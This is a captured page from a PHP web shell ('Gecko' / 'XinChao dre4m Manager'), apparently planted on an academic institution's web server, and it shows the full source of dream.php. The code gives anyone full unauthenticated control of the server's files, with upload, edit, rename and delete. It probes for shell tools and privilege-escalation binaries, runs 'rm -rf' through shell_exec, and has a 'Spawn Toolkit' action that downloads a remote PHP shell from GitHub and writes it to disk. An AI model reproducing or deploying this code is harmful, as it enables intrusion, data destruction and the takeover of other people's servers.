Gecko [ sachasauda.akalacademy.ac.in ]

Name	Size	Permission
bootstrap-grid.css	44.73 KB	-rwxr-xr-x
bootstrap-reboot.css	4.85 KB	-rwxr-xr-x
dream.php	14.93 KB	-rw-r--r--

Code Editor : dream.php

<!DOCTYPE html>
<html>

<body>
  <?php
  $path = (isset($_GET["path"])) ? $_GET["path"] : getcwd();
  $file = (isset($_GET["file"])) ? $_GET["file"] : "";

$os = php_uname('s');

$separator = ($os === 'Windows') ? "\\" : "/";

$explode = explode($separator, $path);
  ?>

<div class="container">
    <div class="infomin">
      <div class="order-2">
        <a href="?" class="home">XinChao dre4m Manager</a>
      </div>
      <div class="order-1">
        <?php
        $curl = (function_exists("curl_version")) ? "<font color='lime'>ON</font>" : "<font color='red'>OFF</font>";
        $wget = (@shell_exec("wget --help")) ? "<font color='lime'>ON</font>" : "<font color='red'>OFF</font>";
        $python = (@shell_exec("python --help")) ? "<font color='lime'>ON</font>" : "<font color='red'>OFF</font>";
        $perl = (@shell_exec("perl --help")) ? "<font color='lime'>ON</font>" : "<font color='red'>OFF</font>";
        $ruby = (@shell_exec("ruby --help")) ? "<font color='lime'>ON</font>" : "<font color='red'>OFF</font>";
        $gcc = (@shell_exec("gcc --help")) ? "<font color='lime'>ON</font>" : "<font color='red'>OFF</font>";
        $pkexec = (@shell_exec("pkexec --version")) ? "<font color='lime'>ON</font>" : "<font color='red'>OFF</font>";
        $disfuncs = @ini_get("disable_functions");
        $showdisbfuncs = (!empty($disfuncs)) ? "<font color='red'>$disfuncs</font>" : "<font color='lime'>NONE</font>";
        ?>
        <span>System Info: <?= php_uname(); ?></span>
        <span>PHP Version: <?= phpversion(); ?></span>
        <span style="width: 100%; max-width: 350px;">CURL: <?= $curl; ?>, WGET: <?= $wget; ?>, PERL: <?= $perl; ?>, RUBY: <?= $ruby; ?>, GCC: <?= $gcc; ?>, PKEXEC: <?= $pkexec; ?></span>
        <span>Disabled Functions: <?= $showdisbfuncs; ?></span>
      </div>
    </div>

<div class="navigation">
      <?php
      if (isset($_GET["file"]) && !isset($_GET["path"])) {
        $path = dirname($_GET["file"]);
      }
      $path = str_replace("\\", "/", $path);

$paths = explode("/", $path);
      echo 'Current Path: ';
      echo ($os !== "Windows") ? "<a href='?path=/'>~</a>" : "";
      foreach ($paths as $id => $pat) {
        echo "<a href='?path=";
        for ($i = 0; $i <= $id; $i++) {
          echo $paths[$i];
          if ($i != $id) {
            echo "/";
          }
        }
        echo "'>$pat</a>/";
      }
      ?>
    </div>
    <?php
    if ($_SERVER["REQUEST_METHOD"] === "POST") {
      if (isset($_FILES["nax_file"])) {
        $file = basename($_FILES["nax_file"]["name"]);
        $targetFile = $path . $separator . $file;

if (move_uploaded_file($_FILES["nax_file"]["tmp_name"], $targetFile)) {
          echo "<script>alert('$file uploaded'); window.location = '?path=$path';</script>";
        } else {
          echo "<script>alert('Upload failed'); window.location = '?path=$path';</script>";
        }
      }
    }

if (!isset($_GET["a"])) :
      if (is_readable($path)) :
    ?>

<div class="table-container">
          <table>
            <thead>
              <tr>
                <th>Name</th>
                <th>Size</th>
                <th>Permission</th>
                <th>Actions</th>
              </tr>
            </thead>
            <tbody>
              <?php
              foreach (scandir($path) as $items) {
                if (!is_dir($path . $separator . $items) || $items === ".." || $items === ".") continue;
                $color = (is_writable($path . $separator . $items)) ? "text-green" : "text-red";
              ?>
                <tr>
                  <td width="450">
                    <a href='?path=<?= $path . $separator . $items; ?>'>
                      <?= $items; ?>
                    </a>
                  </td>
                  <td width="70">---</td>
                  <td width="80" class="<?= $color; ?>"><?= hi_permission($path . $separator . $items); ?></td>
                  <td width="90">
                    <a href='?path=<?= $path . $separator . $items; ?>&a=rename'>
                      Rename
                    </a>
                    <a href='?path=<?= "$path$separator$items"; ?>&a=delete' onclick="return confirm('Delete folder <?= $items; ?>?')">
                      Delete
                    </a>
                  </td>
                </tr>
                <?php
              }
              foreach (scandir($path) as $items) {
                if (is_file($path . $separator . $items)) {
                  $color = (is_writable($path . $separator . $items)) ? "text-green" : "text-red";
                ?>
                  <tr>
                    <td width="450">
                      <a href='?file=<?= "$path$separator$items&a=view"; ?>'>
                        <?= $items; ?>
                      </a>
                    </td>
                    <td width="70"><?= getFileSize("$path$separator$items"); ?></td>
                    <td width="80" class="<?= $color; ?>"><?= hi_permission($path . $separator . $items); ?></td>
                    <td width="90">
                      <a href='?file=<?= "$path$separator$items"; ?>&a=editFile'>
                        Edit
                      </a>
                      <a href='?file=<?= "$path$separator$items"; ?>&a=rename'>
                        Rename
                      </a>
                      <a href='?file=<?= "$path$separator$items"; ?>&a=delete' onclick="return confirm('Delete file <?= $items; ?>?')">
                        Delete
                      </a>
                    </td>
                  </tr>
              <?php
                }
              }
              ?>
            </tbody>
          </table>
        </div>
      <?php
      else :
        echo "This directory's not readable";
      endif;
    endif;

if (isset($_GET['a']) && $_GET['a'] == "view") {
      $filename = basename($_GET["file"]);
      ?>
      <div class="card">
        <span style="display: block; margin-bottom: 10px;">Filename: <?= $filename; ?></span>
        <textarea><?= htmlspecialchars(file_get_contents($file)); ?></textarea>
      </div>
    <?php
    } elseif (isset($_GET["a"]) && $_GET["a"] == "createFile") {
    ?>
      <div class="card">
        <form method="post">
          <div class="mb-1">
            <label for="filename" class="label-form">Filename: </label>
            <input type="text" name="filename" id="filename" placeholder="file.txt" required>
          </div>
          <div class="mb-1">
            <label for="content" class="label-form">Content: </label>
            <textarea name="content" id="content"></textarea>
          </div>
          <button type="submit" class="btn-primary">Submit</button>
        </form>
      </div>
      <?php
      if (isset($_POST["filename"])) {
        $filename = $_POST["filename"];
        $content = base64_encode($_POST["content"]);
        if (doFile($path . $separator . $filename, $content)) {
          echo "<script>alert('$filename Created'); window.location = '?path=$path';</script>";
        } else {
          echo "Failed to create";
        }
      }
    } elseif (isset($_GET["a"]) && $_GET["a"] == "createFolder") {
      ?>
      <div class="card">
        <form method="post">
          <div class="mb-1">
            <label for="foldername" class="label-form">Folder Name: </label>
            <input type="text" name="foldername" id="foldername" placeholder="folder" required>
          </div>
          <button type="submit" class="btn-primary">Submit</button>
        </form>
      </div>
      <?php
      if (isset($_POST["foldername"])) {
        $foldername = $_POST["foldername"];
        echo (mkdir($path . $separator . $foldername)) ? "<script>alert('$foldername Created'); window.location = '?path=$path';</script>" : "Failed to create";
      }
    } elseif (isset($_GET['a']) && $_GET["a"] == "editFile") {
      $file = basename($_GET["file"]);
      ?>
      <div class="card">
        <form method="post">
          <label for="content" class="label-form">Filename: <?= $file; ?></label>
          <textarea name="content" id="content"><?= htmlspecialchars(file_get_contents($_GET['file'])) ?></textarea><br>
          <button type="submit" class="btn-primary">Submit</button>
        </form>
      </div>
      <?php
      if (isset($_POST["content"])) {
        $content = base64_encode($_POST["content"]);
        if (doFile($path . $separator . $file, $content)) {
          $filename = basename($file);
          echo "<script>alert('$filename Edited'); window.location = '?path=$path';</script>";
        } else {
          echo "Failed to create";
        }
      }
    } elseif (isset($_GET['a']) && $_GET["a"] == "delete") {
      if (!empty($_GET["file"])) {
        $filename = basename($file);
        if (unlink($file)) {
          echo "<script>alert('$filename Deleted'); window.location = '?path=" . dirname($_GET["file"]) . "';</script>";
        } else {
          echo "Delete $filename failed";
        }
      } else {
        $folder_name = basename($path);
        if (is_writable($path)) {
          @rmdir($path);
          @shell_exec("rm -rf \"$path\"");
          @shell_exec("rmdir /s /q \"$path\"");
          echo "<script>alert('$folder_name Deleted'); window.location = '?path=" . dirname($path) . "';</script>";
        } else {
          echo "Delete $folder_name failed";
        }
      }
    } elseif (isset($_GET['a']) && $_GET["a"] == "rename") {
      $oriname = (isset($_GET["file"])) ? basename($_GET["file"]) : basename($_GET["path"]);
      ?>
      <div class="card">
        <form method="post">
          <div class="mb-1">
            <label for="newname" class="label-form">New Name: </label>
            <input type="text" name="newname" id="newname" value="<?= $oriname; ?>" required>
          </div>
          <button type="submit" class="btn-primary">Submit</button>
        </form>
      </div>
    <?php
      if (isset($_POST["newname"])) {
        $newname = $_POST["newname"];
        $path = (isset($_GET["file"])) ? dirname($_GET["file"]) : dirname($_GET["path"]);
        if (rename($path . $separator . $oriname, $path . $separator . $newname)) {
          echo "<script>alert('$oriname renamed to $newname'); window.location = '?path=$path';</script>";
        } else {
          "Failed to rename";
        }
      }
    } elseif (isset($_GET['a']) && $_GET["a"] == "toolkit") {
      $cc = curl_init();
      curl_setopt($cc, CURLOPT_URL, "https://raw.githubusercontent.com/nastar-id/kegabutan/master/shelk.php");
      curl_setopt($cc, CURLOPT_RETURNTRANSFER, true);
      $xx = curl_exec($cc);
      curl_close($cc);

$tool = base64_encode($xx);
      if (doFile($path . "/tools.php", $tool)) {
        echo "<script>alert('tools.php spawned!'); window.location = '?path=" . $path . "';</script>";
      } else {
        echo "<script>alert('Failed to spawn toolkit!'); window.location = '?path=" . $path . "';</script>";
      }
    }
    ?>
  </div>
  <?php

function doFile($file, $content)
  {
    if ($content == "") {
      $content = base64_encode("empty");
    }

$op = fopen($file, "w");
    $write = fwrite($op, base64_decode($content));
    fclose($op);
    return ($write) ? true : false;
  }

function getFileSize($path)
  {
    $bytes = filesize($path);
    $units = array('B', 'KB', 'MB', 'GB');
    $unit = 0;
    while ($bytes >= 1024 && $unit < count($units) - 1) {
      $bytes /= 1024;
      $unit++;
    }
    return round($bytes, 2) . ' ' . $units[$unit];
  }

?>
  <div class='menu'>
    <input class='toggle' id='menu' type='checkbox' style="display: none;">

<div class="menu-list">
      <a href="?path=<?= $path; ?>&a=createFile">Create File</a>
      <a href="?path=<?= $path; ?>&a=createFolder">Create Folder</a>
      <a href="?path=<?= $path; ?>&a=toolkit">Spawn Toolkit</a>
      <label for="naxx">Upload File</label>
      <label for="mode-toggle" class="no-select">
        <span>Dark Mode</span>
        <input type="checkbox" id="mode-toggle" class="d-hidden">
      </label>
    </div>

<form method="POST" enctype="multipart/form-data" id="upload" class="d-hidden">
      <input type="file" name="nax_file" id="naxx">
    </form>
  </div>
  <script>
    const uploadInput = document.querySelector("#naxx");
    uploadInput.addEventListener("change", () => {
      const uploadForm = document.querySelector("#upload");
      uploadForm.submit();
    });

const mode = localStorage.getItem("mode") || "light";

const modeToggle = document.querySelector("#mode-toggle");
    const modeToggleLabel = document.querySelector("[for=mode-toggle] span");
    const body = document.body;

if (mode === "dark") {
      body.classList.add("dark");
      modeToggle.checked = true;
      modeToggleLabel.innerText = "Light Mode";
    } else {
      body.classList.remove("dark");
      modeToggle.checked = false;
      modeToggleLabel.innerText = "Dark Mode";
    }

modeToggle.addEventListener("change", () => {
      if (modeToggle.checked) {
        localStorage.setItem("mode", "dark");
        body.classList.add("dark");
        modeToggleLabel.innerText = "Light Mode";
      } else {
        localStorage.setItem("mode", "light");
        body.classList.remove("dark");
        modeToggleLabel.innerText = "Dark Mode";
      }
    });
  </script>
</body>

</html>

${this.title}

Code Editor : dream.php